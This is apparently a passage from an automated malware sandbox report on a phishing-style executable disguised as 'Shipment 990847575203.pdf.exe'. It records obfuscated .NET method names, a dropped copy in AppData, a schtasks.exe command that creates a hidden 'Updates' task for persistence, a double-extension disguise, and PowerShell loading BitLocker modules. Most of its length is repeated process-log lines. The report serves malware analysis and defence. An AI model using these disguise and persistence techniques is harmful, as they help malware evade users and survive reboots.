Source: 0.2.Shipment 990847575203.pdf.exe.8050000.4.raw.unpack, EBEqYZglTFqw7qayu7.cs	High entropy of concatenated method names: 'JsHUe3pCI8', 'nc2UkHHfbd', 'ILJUPqDfkB', 'qXlUmrZK1f', 'vsuUHq1jTy', 'AY6ULT53wg', 'bjkU5cBiyJ', 'TQTUCbOvW0', 'vOLUyC7n8y', 'p3KUjxhYei'
Source: 0.2.Shipment 990847575203.pdf.exe.8050000.4.raw.unpack, BPxW7yl9kpekboTtat.cs	High entropy of concatenated method names: 'aqwOhvfTS9', 'kMNOcUY3gg', 'sKeOl8fC51', 'CrFOr6XjkZ', 'mXrOwnxMEE', 'A0JOBBwP2D', 'OBjO1Gi9pm', 'ztAOTCBYZr', 'WLXOK4NBX6', 'X7iOpb3fhF'
Source: 0.2.Shipment 990847575203.pdf.exe.8050000.4.raw.unpack, Mhibkv4mdLl9kJHNxS.cs	High entropy of concatenated method names: 'LyW3Adccm0', 'sax3ay78Hx', 'MTS3QAXulN', 'D2A3UCH8L5', 'n5a3ItHlfk', 'TuRQ7GKnDT', 'zRFQ9b08Kl', 'kCqQJectYb', 'sqVQ2VIw3T', 'wcWQqeFMPL'
Source: 0.2.Shipment 990847575203.pdf.exe.8050000.4.raw.unpack, hnER9ij17BiqWy2ZQt.cs	High entropy of concatenated method names: 'NEkQH34heV', 'CoJQ5yVW6Y', 'c6k6BAmZax', 'tKF611uXN1', 'UY56TlFvrs', 'eX36KLlbrg', 'tmj6p3sgcK', 'fmE60LGly6', 'IEq6gfgx3V', 'LT56hQjWoS'
Source: 0.2.Shipment 990847575203.pdf.exe.8050000.4.raw.unpack, ERU2yGisNADuKaiepMI.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'eWbMXV23bT', 'ODBMxaaiiu', 'AbGMRUsZ38', 'LvCMMAjTa4', 'AfpMGxALXf', 'SlAME6TJK2', 'OLeMokCnQi'
Source: 0.2.Shipment 990847575203.pdf.exe.8050000.4.raw.unpack, jQtbrjIkx2d5oocfLW.cs	High entropy of concatenated method names: 'SLHVAsCCKx', 'AB1VYJjiQ9', 'drAVaRwtCE', 'N6hV68fCqC', 'dVnVQilDxO', 'nhnV3plytD', 'oLWVUJ8Hg7', 'zhqVIuOyre', 'whlVviGs3E', 'WAwVZKCC92'
Source: 0.2.Shipment 990847575203.pdf.exe.8050000.4.raw.unpack, BKswpgz6v2Ti4RbQAR.cs	High entropy of concatenated method names: 'UbCxLXXZFv', 'J4BxCYpwZ9', 'W60xyTexUX', 'Nmyx4LfAE4', 'gsExwdgvCE', 'lfHx1dhfEI', 'YAkxTth2v6', 'BUNxoUv3YY', 'E0dxeuZWnZ', 'AecxkScgo7'

Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe

File created: C:\Users\user\AppData\Roaming\FZcXKpA.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FZcXKpA" /XML "C:\Users\user\AppData\Local\Temp\tmp56D.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: pdf.exe

Static PE information: Shipment 990847575203.pdf.exe

Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
